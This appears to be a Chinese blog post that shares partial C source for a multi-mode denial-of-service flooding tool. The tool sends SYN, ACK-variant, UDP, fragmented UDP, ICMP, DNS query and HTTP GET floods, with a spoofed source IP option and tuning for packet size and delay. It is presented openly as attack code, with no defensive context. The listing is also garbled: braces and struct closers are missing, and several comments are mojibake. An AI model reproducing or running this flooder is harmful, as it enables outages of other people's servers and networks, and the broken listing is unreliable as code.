天天看点

attack source code

不废话,直接上代码,

先看截图use pictures;

2.source code

部分主要代码

void help_length(void)

{

    printf("\n This is not the correct format about option \" -l \".\n"

           " format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");

    exit (1);

}

static unsigned short inline checksum(unsigned short *buffer,int size);

unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);

unsigned short proto_data_len=0;

char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\

                    char * __proto_str,int str_len);

char * get_rand_dn (char *__str_str,int len);

void send_tcp      (int sockfd,struct sockaddr_in *addr,char *mode);

void send_udp      (int sockfd,struct sockaddr_in *addr);

void send_icmp     (int sockfd,struct sockaddr_in *addr);

void send_udp_frag (int sockfd,struct sockaddr_in *addr);

void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);

void build_dns_querybuf (char *name_str);

void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);

void send_get_flood(int sockfd,char *uri,int send_count);

void send_synclink (int sockfd,struct sockaddr_in *addr);

void send_packets_delay();

void sig_int   (int sigo);

//static void *pthread_func(void *vptr_args);

fd_set rset,drset;

struct protocol_fake_header {

    unsigned long saddr;

    unsigned long daddr;

    char mbz;

    char proto;

    unsigned short header_len;

};

struct icmphdr {

 char type;

 char code;

 unsigned short checksum;

 unsigned short id;

 unsigned short seq;

struct dnshdr_prefix {

 unsigned short id;         /* random() */

 unsigned short flags;      /* 0x0100 */

 unsigned short questions;  /* 0x0001 */

 unsigned short answers;    /* 0x0000 */

 unsigned short author;     /* 0x0000 */

 unsigned short addition;   /* 0x0000 */

struct dnshdr_suffix {

 unsigned short int type;     /* 0x0001 */

 unsigned short int class;    /* 0x0001 */

 int i = 0;

 int a = 0;

 int port;

 int count=0;

 int nw;

 int n=0;

 int gsockfd[MAX_SOCKFD];

 unsigned int send_get_number=0;

 unsigned short hostname_len;

 unsigned short iph_len;

 unsigned short tcph_len;

 unsigned short udph_len;

 unsigned short icmph_len;

 unsigned short dnsh_prefix_len;

 unsigned short dnsh_center_len;

 unsigned short dnsh_len;

 unsigned short data_len=0;

 unsigned short pkg_len;      /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */

 unsigned long packet_delay=0;

 char number ;

 char * QueryBuf;

 unsigned len_a=0,len_b;

 char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";

 char * p_str; /* used by Fun build_dns_querybuf */

 char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};

 char p_str_center[256];

 unsigned dn_suffix_tnum=6;

 unsigned short dn_suffix_num;

 char dn_suffix_len;

 unsigned long sum=0;

 unsigned long int send_count=0;

 char PRINT_MODE[20]="SYN Flood";         /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/

 char *pbuf;

 char datasize[60];

 char *pds;                   /* used by datasize */

 unsigned short int  data_size_max=0;

 unsigned short int  data_size_min=0;

 unsigned short int  tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;

 unsigned short int  tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;

 unsigned short int  udp_data_size_max;

 unsigned short int  udp_data_size_min;

 unsigned short int  icmp_data_size_max=ICMP_DATA_SIZE_MAX;

 unsigned short int  icmp_data_size_min=ICMP_DATA_SIZE_MIN;

 int sockfd;

 int dn;

 int i,ii;

 int _proto_char_len;

 char proto_data[1460]="rand";

 char buffer[1501]; /* store data from gsockfd[i] (server ) */

 char buf[20];

 int buf_len;

 char ipdata[20];

 char srcip[20];

 char domainname[50];

 char hostname[50];

 char hostport[8];

 char uri[1024]=URI;

 char mode[8]=MODE;

 char http_head_get[1024]=HTTP_HEAD_GET;

 struct sockaddr_in to;

 struct hostent *host;

 struct timeval tv,pdelay;

 struct timeval pstart,pend;

 unsigned long int pdelay_sec=0,pdelay_usec=0;

 float  timeuse;

 struct iphdr *iph;

 struct udphdr *udph;

 struct dnshdr_prefix *dnsh_prefix;

 struct dnshdr_suffix *dnsh_suffix;

/*  ============= Main Function ========= */

int main(int argc,char **argv)

    if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)

        help();

    int on=1;

    bzero(ipdata,20);

    bzero(srcip,20);

    bzero(&to,sizeof(to));

    int cn;

    while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)

    {

    switch(cn)

    case 'm':

        strcpy(mode,optarg);

        if(strcmp((mode),"syn")==0) {

            strcpy(PRINT_MODE,"SYN Flood");

            break;

            }

        if(strcmp((mode),"asyn")==0) {

            strcpy(PRINT_MODE,"SYN+ACK Flood");

        if(strcmp((mode),"dsyn")==0) {

            strcpy(PRINT_MODE,"SYN+data Flood");

        if(strcmp((mode),"dns")==0) {

            strcpy(PRINT_MODE,"DNS Query Flood");

        if(strcmp((mode),"udp")==0) {

            strcpy(PRINT_MODE,"UDP Flood");

        if(strcmp((mode),"icmp")==0) {

            strcpy(PRINT_MODE,"ICMP ECHO Flood");

        if(strcmp((mode),"ufrag")==0) {

            strcpy(PRINT_MODE,"UDP Frag Flood");

        if(strcmp((mode),"ack")==0) {

            strcpy(PRINT_MODE,"TCP ACK Flood");

        if(strcmp((mode),"pack")==0) {

            strcpy(PRINT_MODE,"TCP PSH ACK Flood");

        if(strcmp((mode),"rack")==0) {

            strcpy(PRINT_MODE,"TCP RST ACK Flood");

        if(strcmp((mode),"fack")==0) {

            strcpy(PRINT_MODE,"TCP FIN ACK Flood");

        if(strcmp((mode),"gack")==0) {

            strcpy(PRINT_MODE,"HTTP GET ACK Flood");

        if(strcmp((mode),"gfld")==0) {

            strcpy(PRINT_MODE,"HTTP GET Flood");

        if(strcmp((mode),"synclink")==0) {

            strcpy(PRINT_MODE,"Sync Link test");

        else

            help();

        break;

    case 'h':

        strcpy(hostname,optarg);

        hostname_len=strlen(hostname);

        if(isdigit(hostname[hostname_len-1])) {

            to.sin_addr.s_addr=inet_addr(hostname);

            strcpy(ipdata,hostname);

        else if((host=gethostbyname(hostname))==NULL) {

                printf(" resolv ip failed.\n");

                exit(1);

                }

            else {

                inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));

                    to.sin_addr.s_addr=inet_addr(ipdata);

    case 'p':

        strcpy(hostport,optarg);

    case 'S':

        strcpy(srcip,optarg);

    case 'c':

        send_count=atoi(optarg);

    case 'u':

        strcpy(uri,optarg);

    case 's':

        strncpy(proto_data,optarg,strlen(optarg));

    case 'd':

        strcpy(buf,optarg);

        buf_len=strlen(buf);

        if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {

            buf[buf_len-2]=0;    

            pdelay_sec=0;

            pdelay_usec=(long int)atoi(buf);

        else if(buf[buf_len-1]=='s') {

            buf[buf_len-1]=0;    

            pdelay_sec=atoi(buf);

            pdelay_usec=0;

            else if(isdigit(buf[buf_len-1])) {

                    pdelay_sec=0;

                    pdelay_usec=(long int)atoi(buf);

                    }

                else {printf(" enter time error.\n");exit(1);}

    case 'l':

        strcpy(datasize,optarg);

        if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )

            if( datasize[0]==':' ) {                           /*    :20   */

                pds=strtok(datasize,":");

                if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }

                else  help_length();

            else if( datasize[strlen(datasize)-1] == ':' ) {   /*   4:   */

                if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}

            else {                                             /*    5:9    */

                if(pds != NULL)  data_size_min=atoi(pds);

                pds=strtok(NULL,":");

                if(pds != NULL)  data_size_max=atoi(pds);

        else {

        if( data_size_max == 0) data_size_max=data_size_min;

        if( data_size_max<data_size_min)

            {

            printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);

            exit (1);

        if( data_size_max>1460)

            printf(" data_size_max is 1460 !\n");

    default:

        break;        

    }

    if (data_size_min == 0 && data_size_max == 0)

        {

        data_size_min=DATA_SIZE_MIN;

        data_size_max=DATA_SIZE_MAX;

        }

//        printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);

/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/    

char * get_rand_dn (char *___str_str,int str_len)

    int len=strlen(_domain_name_char);

    for (ii=0;ii<str_len;ii++){

       ___str_str[ii]=_domain_name_char[rand()%(len-1)+1];

    //  printf (" over for \n");

  return ___str_str;

void send_packets_delay( )

  pdelay.tv_sec=pdelay_sec;

  pdelay.tv_usec=pdelay_usec;

#ifdef DEBUG

  printf(" pdelay.sec=%ld\n",pdelay.tv_sec);

  printf(" pdelay.usec=%ld\n",pdelay.tv_usec);

#endif

  FD_ZERO(&drset);

  FD_SET(sockfd,&drset);

  select(sockfd+1,NULL,NULL,NULL,&pdelay);

/* ============ Pthread Function =========== */

/* static void *pthread_func(void *vptr_args)

    printf("  enter pthread[]\n");

     int sockfd;

    fd_set rset;

    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){

        printf(" create sockfd error from pthread_fun.\n");    

        pthread_exit("Thank you for the CPU time");

    a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));

    if(a==0)

          write(sockfd,http_head_get,strlen(http_head_get));

        printf(" send get request to server .\n");

         select

        tv.tv_sec=0;

        tv.tv_usec=5;

        FD_ZERO(&rset);

        FD_SET(sockfd,&rset);

        select(sockfd+1,&rset,NULL,NULL,&tv);

         while (1)

            nw++;

            if(FD_ISSET(sockfd,&rset)) {

                printf("  enter while\n");

                n=read(sockfd,buffer,1500);

                printf(" read data ....");

                if(n==0) {

                    printf(" Accept fin and close sockfd[]\n");

                    close(sockfd);

                    FD_CLR(sockfd,&rset);

                    break;

                if(n<0) {

                    printf(" Accept rst and close sockfd[]\n");

                else

                    printf("read data\n");

*/

//                } /* end of if(FD_ */

/*            else

                printf("  not can be read \n");

            } */ /* end of while */

//        }    /* end of if(a==0) */

/*    else

        printf(" connect_status:%d  errno=%d close_sockfd[]\n\n",a,errno);

        close(sockfd);

    send_get_number++;

return 0;

/* =============== check sum function =============== */

static unsigned short inline checksum(unsigned short *buffer,int size){

    unsigned long cksum = 0;

    while(size>1){

        cksum += *buffer++;

        size  -= sizeof(unsigned short);

    if(size){

        cksum += *(unsigned char *)buffer;

    cksum = (cksum >> 16) + (cksum & 0xffff);

    cksum += (cksum >> 16);        

    return((unsigned short )(~cksum));

unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)

char *buf;

struct protocol_fake_header *pfh;

int pfh_len = sizeof(struct protocol_fake_header);

buf = (char *)malloc(pfh_len+size);

pfh = (struct protocol_fake_header *)buf;

memcpy(buf+pfh_len,buffer,size);

pfh->saddr = saddr;

pfh->daddr = daddr;

pfh->mbz = 0;

if(strcmp(proto,"tcp")==0) {

    pfh->proto = IPPROTO_TCP;

    pfh->header_len = htons(tcph_len);

    }

if(strcmp(proto,"udp")==0) {

    pfh->proto = IPPROTO_UDP;

    pfh->header_len = htons(udph_len);

sum = checksum((unsigned short*)buf,pfh_len+size);

free(buf);

return (sum);

继续阅读